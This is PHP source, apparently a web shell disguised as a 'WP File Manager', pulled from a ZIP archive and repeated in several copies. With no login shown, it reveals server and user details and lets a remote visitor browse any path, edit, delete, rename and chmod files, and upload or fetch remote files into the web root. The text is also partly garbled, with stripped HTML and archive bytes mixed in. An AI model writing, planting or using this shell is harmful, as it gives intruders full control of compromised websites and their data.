📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ë"lejlekufilm@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ë"lejlekufilm@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
